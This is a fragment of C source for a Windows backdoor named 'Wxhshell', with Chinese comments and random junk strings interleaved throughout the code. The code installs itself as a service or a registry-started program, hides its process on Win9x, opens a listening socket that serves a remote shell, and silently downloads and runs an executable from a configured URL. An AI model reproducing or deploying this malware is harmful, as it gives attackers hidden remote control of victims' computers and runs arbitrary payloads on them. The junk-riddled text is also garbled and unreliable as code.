CloseHandle(hProcess); =UUU$hq2 ,]bB9tid hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [!!Q,S"
if(hProcess==NULL) return 0; _ODbY;M ,eTU/Q>{,& HMODULE hMod; T5a*z}L5 char procName[255]; h1'\:N` unsigned long cbNeeded; pe^u$YE
PRHCrHs if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fu!RhsW5j J8mdoVt CloseHandle(hProcess); SkmT`*v@ dFKM
8_jH if(strstr(procName,"services")) return 1; // 以服务启动 ^0/j0]O ;L']e"G return 0; // 注册表启动 ZK>WW } 5[c^TJ3 feQ **wI // 主模块 +v=C@2T int StartWxhshell(LPSTR lpCmdLine) .l.a(_R { X5j1`t, SOCKET wsl; ~l)-wNqR4r BOOL val=TRUE; J0@X<Lt U int port=0; Q~Hy%M%R3 struct sockaddr_in door; tQS5hwm* @Y1s$,=xB if(wscfg.ws_autoins) Install(); EK4d_L]I sBcPq SMby port=atoi(lpCmdLine); O)[1x4U vM5k_D if(port<=0) port=wscfg.ws_port; 6I%5Q4Ll e)(wss+d7P WSADATA data; U&?v:&c#&n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w@{= nD4p
'FDef#P< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =weSyZ1~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -3Hy*1A. door.sin_family = AF_INET; 2 B door.sin_addr.s_addr = inet_addr("127.0.0.1"); p6;OL@\~ door.sin_port = htons(port); 2nR[Xh?L :Of^xj>A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YJ\Xj56gv closesocket(wsl); /Njd[=B return 1; g*_cPU0~m } ' ~8KSF*!p 0N$v"uX@ if(listen(wsl,2) == INVALID_SOCKET) { 9b9$GyI closesocket(wsl); ME*LHr, return 1; >k (C } b45-:mi! Wxhshell(wsl); iv4H#rJ WSACleanup(); `hQ5VJo Fvbh\m
~ return 0; 4rLL[?? !6*"( } S[J}UpV _no*k?o* // 以NT服务方式启动 ?vbvBu{a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z'.AA OG { 0@%v1Oja DWORD status = 0; *2,VyY DWORD specificError = 0xfffffff; T( U_ `~By)?cT_> serviceStatus.dwServiceType = SERVICE_WIN32; 5fd]v< serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~5}*
d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; De'_SD|= serviceStatus.dwWin32ExitCode = 0; L6|oyf serviceStatus.dwServiceSpecificExitCode = 0; ^SF&=NpV serviceStatus.dwCheckPoint = 0; ]SLP}Jwy serviceStatus.dwWaitHint = 0; toBHkiuD 4bYK}oS hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8ap%? if (hServiceStatusHandle==0) return; 7_inJ$ v@
lM3_rbO status = GetLastError(); -#N.X_F if (status!=NO_ERROR) VgZsB$Ori { U_I5fK= serviceStatus.dwCurrentState = SERVICE_STOPPED; ^f4s"T serviceStatus.dwCheckPoint = 0; hYG6 pTCb serviceStatus.dwWaitHint = 0; kY-N>E: serviceStatus.dwWin32ExitCode = status; "W955?4m serviceStatus.dwServiceSpecificExitCode = specificError; L?mrbay SetServiceStatus(hServiceStatusHandle, &serviceStatus); JehrDC2N return; klT@cO-9 }
HMh"}I2n .uMn0PE serviceStatus.dwCurrentState = SERVICE_RUNNING; o <pf#tifv serviceStatus.dwCheckPoint = 0; + |n*b serviceStatus.dwWaitHint = 0; JR@`2YP- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hG12ZZ D } EVsC >rz PgF*
1 // 处理NT服务事件,比如:启动、停止 Lh!J > VOID WINAPI NTServiceHandler(DWORD fdwControl) YUtC.TR1 { RC7]'4o switch(fdwControl) 4NheWM6 { K;?m';z0 case SERVICE_CONTROL_STOP: w"-Lc4t+ serviceStatus.dwWin32ExitCode = 0; /<|%yE&KhJ serviceStatus.dwCurrentState = SERVICE_STOPPED; U`, 6 * MS serviceStatus.dwCheckPoint = 0; "Q@ronP(~ serviceStatus.dwWaitHint = 0; uxvqMgR { +0nJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); dMv=gdY } nrub*BuA return; 4;yKOQD| case SERVICE_CONTROL_PAUSE: keL&b/@ serviceStatus.dwCurrentState = SERVICE_PAUSED; @#T|Y& break; $_"'&zQ' case SERVICE_CONTROL_CONTINUE: 7q?,
? serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Q.#c,`jV break; PNgY>=Y case SERVICE_CONTROL_INTERROGATE: lrlgz[ break; W$hx,VEy` }; D9^h;
8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z>:NPZODf } L*xhGoC= V5V
bJBpf // 标准应用程序主函数 Y']\Jq{OS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nP$Ky1y G { /R]U}o^/(% qkDI](4 // 获取操作系统版本 jnO9j_CY OsIsNt=GetOsVer(); AG`L64B GetModuleFileName(NULL,ExeFile,MAX_PATH); #rMlI3; `2("gUCm // 从命令行安装 <\rT%f}3^ if(strpbrk(lpCmdLine,"iI")) Install(); 2=,lcWr V_:1EBzz // 下载执行文件 p& y<I6a, if(wscfg.ws_downexe) { ^oBtfN>4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k]F[>26k WinExec(wscfg.ws_filenam,SW_HIDE); t3 8m'J :> } XixL R 6Zm# bFQ if(!OsIsNt) { q;T{|5/O // 如果时win9x,隐藏进程并且设置为注册表启动 x9UX!Z5*> HideProc(); LiN$
pwm StartWxhshell(lpCmdLine); 2VmNZ{< } LO9=xGj. else cLpYW7vZ[
if(StartFromService()) ~7*.6YnI // 以服务方式启动 x gVeN[" StartServiceCtrlDispatcher(DispatchTable); \ub7`01 else HJ=:8: // 普通方式启动 k+# %DK StartWxhshell(lpCmdLine); > kGGR T"{>t return 0; j/323Za+ }
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